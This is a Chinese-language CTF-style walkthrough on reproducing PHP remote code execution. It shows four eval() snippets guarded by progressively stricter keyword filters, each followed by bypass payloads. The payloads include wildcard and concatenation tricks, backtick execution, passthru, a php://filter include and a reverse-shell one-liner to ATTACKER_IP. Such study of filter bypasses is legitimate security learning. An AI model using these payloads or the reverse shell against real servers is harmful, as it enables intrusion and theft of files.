当前位置: 首页 > news >正文

RCE复现

1.过滤flag

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

代码审计过滤了"flag"关键词,但限制较弱,容易绕过

?c=system("ls");  // 列出目录
?c=system("cat fla*");  // 使用通配符绕过flag过滤
?c=system("cat fl"."ag.php");
?c=$a="fl";$b="ag";system("cat $a$b.php");
?c=system("cat `echo fl\"ag.php`");  // 使用反引号
?c=echo file_get_contents('fl'.'ag.php');
?c=highlight_file('fl'.'ag.php');
?c=exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'");

 2.过滤flag/system/php

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

 代码审计滤掉了flag、system与php。把system函数替换为其他具有类似功能的函数,php可以使用通配符

?c=echo `ls`;
?c=echo `cat fl*`;
payload:?c= echo `tac fl'ag'.p'hp'`;
使用内置函数
?c=print_r(scandir('.'));
?c=var_dump(file('fla*'));
?c=show_source('fla'.'g.php');
字符串拼接或者编码
?c=$a='fl';$b='ag';echo file_get_contents($a.$b.'.php');
?c=readfile('fl'.'ag.php');
?c=highlight_file('fl'.'ag.php');

   3.过滤flag/system/php|cat|sort|shell|\.|

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

代码审计.过滤flag/system/php|cat|sort|shell|\.|

绕过思路使用未过滤的命令执行函数;

?c=passthru($_GET[a]);&a=cat flag.php
?c=echo%09`tac%09f*`;
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

 4.常见过滤

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

 代码审计

代码过滤了flagsystemphpcatsortshellecho

      ., (空格), '\``, ;(:"<=/`

                   0-9

绕过思路:过滤了空格可以用${IFS}%0a 代替,分号可以用?>代替 但是过滤了括号之后就不能用带有括号的函数,php中include是可以不带括号的函数

?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

 

 

相关文章:

  • 深度学习查漏补缺:3.从 Sigmoid 到 GELU
  • 【LeetCode Solutions】LeetCode 101 ~ 105 题解
  • 加载MiniLM-L12-v2模型及知识库,调用Deepseek进行问答
  • 全面解析 Spring AOP 切入点表达式
  • 【导航定位】GNSS数据说明-RTCM
  • RabbitMQ高级特性--TTL和死信队列
  • socket演示程序3(udp)
  • 《符号之纱与血肉之躯:具身智能范式的哲学重构与AI发展新图景》
  • 透过TCP/IP看HTTP
  • 深度学习篇---模型GPU训练
  • 监控平台——SkyWalking部署
  • Spring AOP中为所有类型通知传递参数的完整示例,包含详细注释和参数传递方式
  • 【数据结构】哈夫曼树
  • 74. Linux设备树详解
  • 基于springboot课程学习与互动平台(源码+lw+部署文档+讲解),源码可白嫖!
  • SQL注入点判断数据库类型
  • 从“制造”到“智造”:生产线自动检测的技术变革与实践
  • 【力扣hot100题】(017)矩阵置零
  • 火山引擎智能数据洞察 ChatBI 适配 DeepSeek-R1 及 DeepSeek-V3
  • 【商城实战(75)】数据分析指标体系搭建:从0到1的技术指南
  • 湖南做电商网站需要什么条件/整合营销传播工具有哪些
  • 郑州网站建设优化公司/深圳网络营销软件
  • 临河可以做网站的公司/seo的排名机制
  • 广东建设网工程信息网站/站长工具的使用seo综合查询运营
  • 男的做直播网站好/百度推广关键词匹配模式
  • 软膜做网站有用吗/按效果付费的推广